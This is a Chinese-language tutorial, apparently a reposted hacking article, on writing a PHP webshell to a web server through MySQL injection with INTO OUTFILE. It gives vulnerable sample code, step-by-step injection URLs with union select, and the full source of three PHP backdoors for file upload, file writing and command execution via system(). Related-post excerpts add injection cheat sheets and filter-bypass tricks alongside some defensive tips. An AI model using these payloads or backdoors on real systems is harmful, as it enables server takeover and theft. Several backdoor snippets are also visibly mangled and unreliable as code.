MySQL注入中导出字段内容的研究通过注入导出WebShell

最大的局限就在这里——插入数据,所以我们只能从程序现有的功能入手,其实很多程序都可以提交评论、留言、帖子等,就看程序是怎么把变量插入数据库的。其实道路就在我们身边,靠我们自己去开辟。
  不用多说,先看在本地测试的一个简单例子,建立一个表,结构如下:
CREATE TABLE `article` (
 `articleid` INT NOT NULL AUTO_INCREMENT ,
 `title` VARCHAR( 200 ) NOT NULL ,
 `content` TEXT NOT NULL ,
 `visible` INT DEFAULT '1' NOT NULL ,
 PRIMARY KEY ( `articleid` )
);
  浏览文章的文件show.php如下:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection"; 
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM article WHERE articleid=$id and visible=1";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row) {
  echo "该记录不存在";
  echo "<p>SQL Query:$sql<p>";
  exit;
}
function html_clean($content){
  $content = htmlspecialchars($content);
  $content = str_replace("\n", "<br>", $content);
  $content = str_replace(" ", "  ", $content);
  $content = str_replace("\t", '    ', $content);
  return $content;
}
echo "<title>".$row['title']."</title>";
echo "<b>标题:</b>".htmlspecialchars($row['title'])."<hr>\n";
echo "<b>内容:</b><p>".html_clean($row['content'])."</p><hr>\n";
echo "SQL Query:$sql";
?>
  游客提交文章的文件add.php如下:
<?
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection"; 
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
if ($_POST['action']=="add") {
  if ($title=="" or $content=="") {
    echo "您还没有填写完表单。";
    exit;
  } else {
    $sql="INSERT INTO article (title,content,visible) VALUES('$title','$content','0')";
    // 如果 visible 字段为1 ,则表示显示此文。
    // 由于是游客提交的,肯定是插入0,管理员审核后更新为1。
    mysql_db_query($dbname, $sql);
    mysql_close();
    echo "您已经提交完毕,正在等待管理员审核。";
    exit;
  }
}
?>
<form action="add.php" method="POST">
文章标题:<br><input name="title" type="text" size="50" maxlength="100"><p>
文章内容:<br><textarea name="content" cols="50" rows="15"></textarea><p>
<input type="hidden" name="action" value="add"><input type="submit" value="提交">
</form>
  很多程序都是直接把用户的数据插入数据库中,需要调用的时候再用函数来处理,就像上面的show.php一样。这样给我们造就了一个机会,就是把我们的WebShell原封不动的写进数据库,很少有程序是将变量处理后才插进数据库的,VBB都是直接放。
  我们访问add.php提交我们的代码进文章内容,此时文章是隐藏的,我们怎么知道那篇文章的id呢?其实很简单:
http://127.0.0.1/injection/show.php?id=2
# 这样是浏览正常文章,如果文章不显示,几时存在也会提示不存在。
http://127.0.0.1/injection/show.php?id=2/*
# 这样可以注释掉visible字段的判断,则可显示被隐藏的文章。

  注意看上图的SQL Query那里,只要我们注释掉后面的判断,就可以改变id来找我们的文章了,刚才我们是提交了完整的代码,这个代码是我写的一个小型上传型后门,可以上传任何类型的文件到该脚本所在的目录,但大小不能超过php.ini里的设置。
  现在代码已经写入了,现在开始构造我们的into outfile语句了,只要构造正确,我们的导出文件就会乖乖的躺在预定目录里,至于如何找到web绝对路径,如何找到有可写权限的目录,不在本文讨论范围,相信这些也难不到大家。提交:
http://127.0.0.1/injection/show.php?id=2 into outfile 'f:/www/1.php'/*
  返回如下提示:

  看到了吧?SQL语句是正确的,尽管出现了错误提示,但只要目录存在并可写,那文件就一定已经被导出:

  我们上传的后门也正常执行了,因为php代码并没有被破坏。退一步来说,就算表单的引号被破坏了,我们还是可以在本地构造表单的。

实例
  相信大家看到这里已经对通过注入导出WebShell已经有点认识和思路了。上面是一个最简单的,最顺畅的一个例子。看似条件苛刻,实际无处不在,看似简单,实际发挥空间很大,如果灵活运用,危害是不小的,下面就看一个更实际的例子,可以看作是一次完整的渗透测试。
  由于我现在不能上网,我就在本地搭建一个和http://www.4ngel.net一摸一样的站点来进行渗透,所有数据库和文件都和网上一样,文章和论坛共用一个数据库,都是我前天备份下来的。我现在去掉了showarticle.php文件中的对于$id过滤的代码。形成一个有漏洞的站点(有点委屈了,55555)。

注意:当前环境是magic_quotes_gpc = Off,有些程序做对输入的变量做了处理,比如VBB,所以gpc打开或关闭无所谓。
  整个站点没有提交文章、留言、评论的地方,我们不能从站点上提交我们的代码,幸好,有一个论坛,呵呵,很多地方是可以提交我们的数据的,帖子、签名等,我们就把WebShell的代码写在签名里吧。

  然后我们就可以通过文章页面的注入点跨表查询签名的内容,然后导出来,有了WebShell,就算有safe_mode阻拦,但我们要渗透服务器,是基本没有问题的。看上面的第5幅图就知道了,文章查询的是5个字段,我们现在就用union联合查询,关于union联合查询在我的《SQL Injection with MySQL》中已经说得很清楚了,这里不再阐述。我们在union之后的查询中,也指定5个字段“1,1,1,1,1”,查询user表中angel用户,userid为1,如果构造正确,用户存在。页面会正常返回:
http://127.0.0.1/showarticle.php?id=25' union select 1,1,1,1,1 from user where userid=1/*

  我们看看是否真的能查询到论坛的签名的内容,刚才看到出错的SQL语句,知道查询文章内容(content)的字段是第5个,签名的字段名是“signature”,我们把第5个1换成“signature”,然后给前面的$id指定一个不存在的值,这样就可以在原来显示文章内容的地方显示签名的内容了。构造:
http://127.0.0.1/showarticle.php?id=55' union select 1,1,1,1,signature from user where userid=1/*

  嗯,查询成功,开始导出吧,我本地的Web目录是f:/www,这个我是知道的,呵呵,至于大家实际运用的时候,如何获取Web绝对路径,不要来问我。
  紧接着刚才我们构造的语句,在后面加上into outfile吧,提交:
http://127.0.0.1/showarticle.php?id=55' union select 1,1,1,1,signature from user where userid=1 into outfile 'f:/www/angel.php'/*
  嗯,出现错误提示了,不管他,反正我们语句没有构造错,而且我的F盘是Everyone完全控制的。自然我们的angel.php也出来了:

  看似复杂的东西,实际上是好容易掌握的,最主要是灵活性,程序的代码各异,加上php的特性,利用的办法就多种多样了,不过有一点是要注意的,就是如果要导出数据,单引号一定不能被破坏,可能来自程序代码,可能来自magic_quotes_gpc,只要单引号被破坏了,成功率几乎是零了。
  请各位不要用安全天使的站点来练手,既然这篇文章是我写的,我的站点就不会存在这种问题了。
后记
  希望本文能起到抛砖引玉的效果,其他更深层的技术,就靠大家自己去探索了,如果本文有什么错漏的地方或对本文有不明白的地方,可以到安全天使的论坛与我交流。下面附上一些我写的、也经常用到的php后门,由于当时才刚学习php不久,下面的代码可能问题很多,如果想用功能更加强大php后门。建议下载我开发的phpspy。
PHP上传型后门
<?php
// Codz by angel ACTION="" METHOD="POST"> 
<input NAME="MyFile" TYPE="file"> 
<input VALUE="提交" TYPE="submit"></form>
PHP文件生成型后门
<?php
// Codz by angel){ 
  $fp=@fopen("".$_POST['filename']."","wb"); 
  $content = $_POST['filedate'];
  $fw=@fwrite($fp,$content);
  if ($fw) { 
    echo "<b>恭喜,写入文件成功!</b><a href="http://www.hack58.net/Article/html/3/7/2008/.$PHP_SELF.">返回</a>"; 
    exit; 
  } else { 
    echo "<b>写入文件失败,是不是权限的问题?</b><a href="http://www.hack58.net/Article/html/3/7/2008/.$PHP_SELF.">返回</a>"; 
    exit; 
  } 
  @fclose($fp);
}
?>
<form action="" method="post">
保存的文件名(如:<font color="#FF0000">angel.php</font>):<br>
<input type="text" name="filename" size="60">
<p>
文件保存在:<br><?=str_replace('\\','/',dirname(__FILE__))?>
<p>
文件内容:
<br><textarea name="filedate" cols="60" rows="10"></textarea><br>
<input type="hidden" name="action" value="create"><input type="submit" value="保存">
</form>
<b>注意:当有相同的文件存在时,将完全改写其内容!</b>
执行命令型后门
<?php
// Codz by angel method="post">
命令:<br>
<input type="text" name="command" size="60" <?php if ($command) { echo "value=\"$command\"";} ?>> <input name="submit_btn" type="submit" value="执行"></p>
执行结果:<br>
<textarea cols="80" rows="20" readonly><?phpif ($command) { system($command);}?></textarea><p>
注意:在windows主机部分命令可能有限制</form>

(0)

相关推荐

  • PHP MYSQL注入攻击需要预防7个要点

    1:数字型参数使用类似intval,floatval这样的方法强制过滤. 2:字符串型参数使用类似mysql_real_escape_string这样的方法强制过滤,而不是简单的addslashes. 3:最好抛弃mysql_query这样的拼接SQL查询方式,尽可能使用PDO的prepare绑定方式. 4:使用rewrite技术隐藏真实脚本及参数的信息,通过rewrite正则也能过滤可疑的参数. 5:关闭错误提示,不给攻击者提供敏感信息:display_errors=off. 6:以日志的方式

  • Mysql数据库使用concat函数执行SQL注入查询

    SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示出来. 例如:原本查询语句是 复制代码 代码如下: select username,email,content from test_table where user_id=uid; 其中uid,是用户输入的.正常显示结果会出现用户名,用户邮箱,用户留言内容.但是如果uid过滤不严,我们可以构造如下SQL语句来获得任意数据表信息. 复制代码 代码如下: u

  • MySQL 及 SQL 注入与防范方法

    所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 我们永远不要信任用户的输入,我们必须认定用户输入的数据都是不安全的,我们都需要对用户输入的数据进行过滤处理. 1.以下实例中,输入的用户名必须为字母.数字及下划线的组合,且用户名长度为 8 到 20 个字符之间: if (preg_match("/^\w{8,20}$/", $_GET['username'], $matches)) { $result =

  • php+mysql注入页面实现

    首先来借鉴一下注入点,以往的注入点是这样的http://www.xxx.com/show.php?id=1,典型的数字型注入. $id=$_GET['id'];//获取GET方式传过来的值并赋值给变量 既然是注入那么肯定要操作数据库. $con = mysql_connect('127.0.0.1','root','root');//使用connect这个函数来连接数据库,然后赋值给变量,connect这个函数有三个 参数分别是数据库地址,账号,密码. mysql_select_db('数据库名

  • Php中用PDO查询Mysql来避免SQL注入风险的方法

    当我们使用传统的 mysql_connect .mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失去控制.虽然可以用mysql_real_escape_string()函数过滤用户提交的值,但是也有缺陷.而使用PHP的PDO扩展的 prepare 方法,就可以避免sql injection 风险. PDO(PHP Data Object) 是PHP5新加入的一个重大功能,因为在PHP 5以前的php4/php3都是一堆的数据库扩展来跟各个数据库的连

  • mysql5 注入漏洞

    复制代码 代码如下: select concat_ws(0x2f,information_schema.tables.table_schema,`information_schema`.`COLUMNS`.table_name,`information_schema`.`COLUMNS`.column_name) from `information_schema`.`COLUMNS` left join information_schema.tables on `information_sche

  • 防止MySQL注入或HTML表单滥用的PHP程序

    MySQL注入的意图是接管网站数据库并窃取信息.常见的开源数据库,如MySQL,已经被许多网站开发人员用来储存重要信息,如密码,个人信息和管理信息. MySQL之所以流行,是因为它与最流行的服务器端脚本语言PHP一起使用.而且,PHP是主导互联网的Linux- Apache服务器的主要语言.因此,这意味着黑客可以很容易地利用PHP就像Windows的间谍软件一样. 黑客向一个无担保的网页表单输入大量恶意代码(通过下拉菜单,搜索框,联系表单,查询表单和复选框). 恶意代码将被送到MySQL数据库,

  • MySQL注入绕开过滤的技巧总结

    首先来看GIF操作: 情况一:空格被过滤 使用括号()代替空格,任何可以计算出结果的语句,都可以用括号包围起来: select * from(users)where id=1; 使用注释/**/绕过空格: select * from/**/users/**/where id=1; 情况二:限制from与某种字符组合 在from后加个点.即使用from.来代替from: select * from. users where id=1; 再直接看GIF: 说白了,就是将'字段名 '替换成hex: 这

  • SQL Injection with MySQL 注入分析

    声明 本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责,本文所有代码均为本人所写,所有数据均经过测试.绝对真实.如果有什么遗漏或错误,欢迎来安全天使论坛和我交流. 前言 2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称

  • PHP+MySQL 手工注入语句大全 推荐

    暴字段长度 Order by num/* 匹配字段 and 1=1 union select 1,2,3,4,5--.n/* 暴字段位置 and 1=2 union select 1,2,3,4,5-..n/* 利用内置函数暴数据库信息 version() database() user() 不用猜解可用字段暴数据库信息(有些网站不适用): and 1=2 union all select version() /* and 1=2 union all select database() /* a

随机推荐